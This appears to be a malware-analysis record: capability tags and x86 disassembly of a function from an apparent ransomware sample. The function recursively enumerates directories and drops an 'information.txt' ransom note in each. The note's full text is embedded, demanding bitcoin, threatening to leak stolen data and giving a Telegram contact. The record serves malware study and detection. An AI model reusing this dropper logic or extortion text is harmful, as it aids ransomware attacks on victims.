Function at 0x40cea5
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push 0x3ac
mov eax, 0x4936ae
call fcn.00452240
mov esi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x37c], esi
mov dword [ebp - 0x378], ebx
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x2c]
xor eax, eax
mov dword [ebp - 0x1c], ebx
mov word [ebp - 0x2c], ax
mov eax, dword [ebp + 0x1c]
add eax, 0x250
mov dword [ebp - 0x18], 7
push eax
mov dword [ebp - 0x378], 1
call fcn.004058c3
push 0x250
push str.Your_Files_has_Been_locked_and_sensitive_information_has_been_stolen_nyou_have_to_pay_in_bitcoin_to_unlock_your_files_and_get_decryption_tool_nthere_is_a_seperate_price_for_not_publishing_your_sensitive_data_on_internet_nthere_is_no_free_decryption_or_no_company_that_be_able_to_help_you_recover_your_files___but_its_ok_to_try_if_you_willing_to_risk_the_price_to_go_higher__ncontact_our_telegram_for_faster_response_but_if_you_dont_get_answer_after_24_hour_contact_our_email_nYou_can_have_a_little_file_test_decryption_or_proof_of_people_from_your_country_who_paid_and_got_decryption_nYour_Case_ID:
lea ecx, [ebp - 0x2c]
call fcn.0040596d
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x2c]
call fcn.00408555
push str._n_nOur_telegram:https:__t.me_Justrecover_nOur_Email:
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x44]
call fcn.0040a37b
pop ecx
lea ecx, [ebp + 0x24]
mov byte [ebp - 4], 3
push ecx
mov ecx, eax
call fcn.00408555
push eax
lea ecx, [ebp - 0x74]
call fcn.00405a02
lea ecx, [ebp - 0x44]
call fcn.0040848e
lea ecx, [ebp - 0x2c]
call fcn.0040848e
xor eax, eax
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
push 0x4b0728
mov edx, esi
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x5c]
call fcn.0040a3b4
pop ecx
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x374]
cmp dword [ebp - 0x48], 8
lea eax, [ebp - 0x5c]
push ecx
cmovae eax, dword [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
mov dword [ebp - 0x378], esi
cmp esi, 0xffffffff
jne 0x40cfaa
add dword [0x4ce900], 1
adc dword [0x4ce904], ebx
xor eax, eax
mov dword [ebp - 0x34], ebx
mov word [ebp - 0x44], ax
lea ecx, [ebp - 0x44]
lea eax, [ebp - 0x348]
mov dword [ebp - 0x30], 7
push eax
call fcn.00409c6f
mov edx, dword [ebp - 0x37c]
lea ecx, [ebp - 0x3ac]
push 0x4afd54
mov byte [ebp - 4], 0xa
call fcn.0040a3b4
pop ecx
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0xb
push ecx
mov edx, eax
lea ecx, [ebp - 0x394]
call fcn.0040c80b
pop ecx
push eax
lea ecx, [ebp - 0x5c]
call fcn.004059cb
lea ecx, [ebp - 0x394]
call fcn.0040848e
lea ecx, [ebp - 0x3ac]
call fcn.0040848e
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 9
call fcn.0040848e
test byte [ebp - 0x374], 0x10
jne 0x40d03a
mov dword [ebp - 4], 9
jmp 0x40d10f
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
lea eax, [ebp - 0x348]
push 0x4b0640
push eax
call edi
test eax, eax
je 0x40d10f
push 0x4b0644
lea eax, [ebp - 0x348]
push eax
call edi
test eax, eax
je 0x40d10f
push str.information.txt
lea edx, [ebp - 0x5c]
lea ecx, [ebp - 0x44]
call fcn.0040a3b4
pop ecx
push 0xb0
lea eax, [ebp - 0x124]
mov byte [ebp - 4], 0xf
push ebx
push eax
call fcn.00469420
pop ecx
push 2
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x124]
call fcn.00405d68
mov byte [ebp - 4], 0x10
lea edx, [ebp - 0x74]
cmp dword [ebp - 0x60], 8
lea ecx, [ebp - 0x124]
push dword [ebp - 0x64]
cmovae edx, dword [ebp - 0x74]
call fcn.00416b3a
pop ecx
lea ecx, [ebp - 0x124]
call fcn.00405cff
lea ecx, [ebp - 0x124]
call fcn.00404ac5
mov dword [ebp - 4], 0xe
jmp 0x40d0f7
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x20]
call fcn.0040c624
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 9
call fcn.0040848e
lea eax, [ebp - 0x374]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40cfaa
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [ebp - 0x20]
mov edi, dword [ebp - 0x1c]
cmp esi, edi
je 0x40d190
sub esp, 0x18
lea eax, [ebp + 0x24]
mov ecx, esp
mov dword [ebp - 0x378], esp
push eax
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.00408571
sub esp, 0x18
mov byte [ebp - 4], 0x12
mov ecx, esp
lea eax, [ebp + 0xc]
push eax
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.00408571
push esi
mov byte [ebp - 4], 9
call fcn.0040cea5
add esp, 0x34
push 0x18
pop eax
add esi, eax
jmp 0x40d132
lea ecx, [ebp - 0x5c]
call fcn.0040848e
mov esi, dword [ebp - 0x20]
test esi, esi
je 0x40d1d0
mov edi, dword [ebp - 0x1c]
cmp esi, edi
je 0x40d1b9
mov ecx, esi
call fcn.0040848e
push 0x18
pop eax
add esi, eax
cmp esi, edi
jne 0x40d1a6
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
sub eax, esi
push 0x18
pop ecx
cdq
idiv ecx
imul eax, eax, 0x18
push eax
push esi
call fcn.0040b038
pop ecx
pop ecx
lea ecx, [ebp - 0x74]
call fcn.0040848e
lea ecx, [ebp + 0xc]
call fcn.0040848e
lea ecx, [ebp + 0x24]
call fcn.0040848e
call fcn.0045218d
ret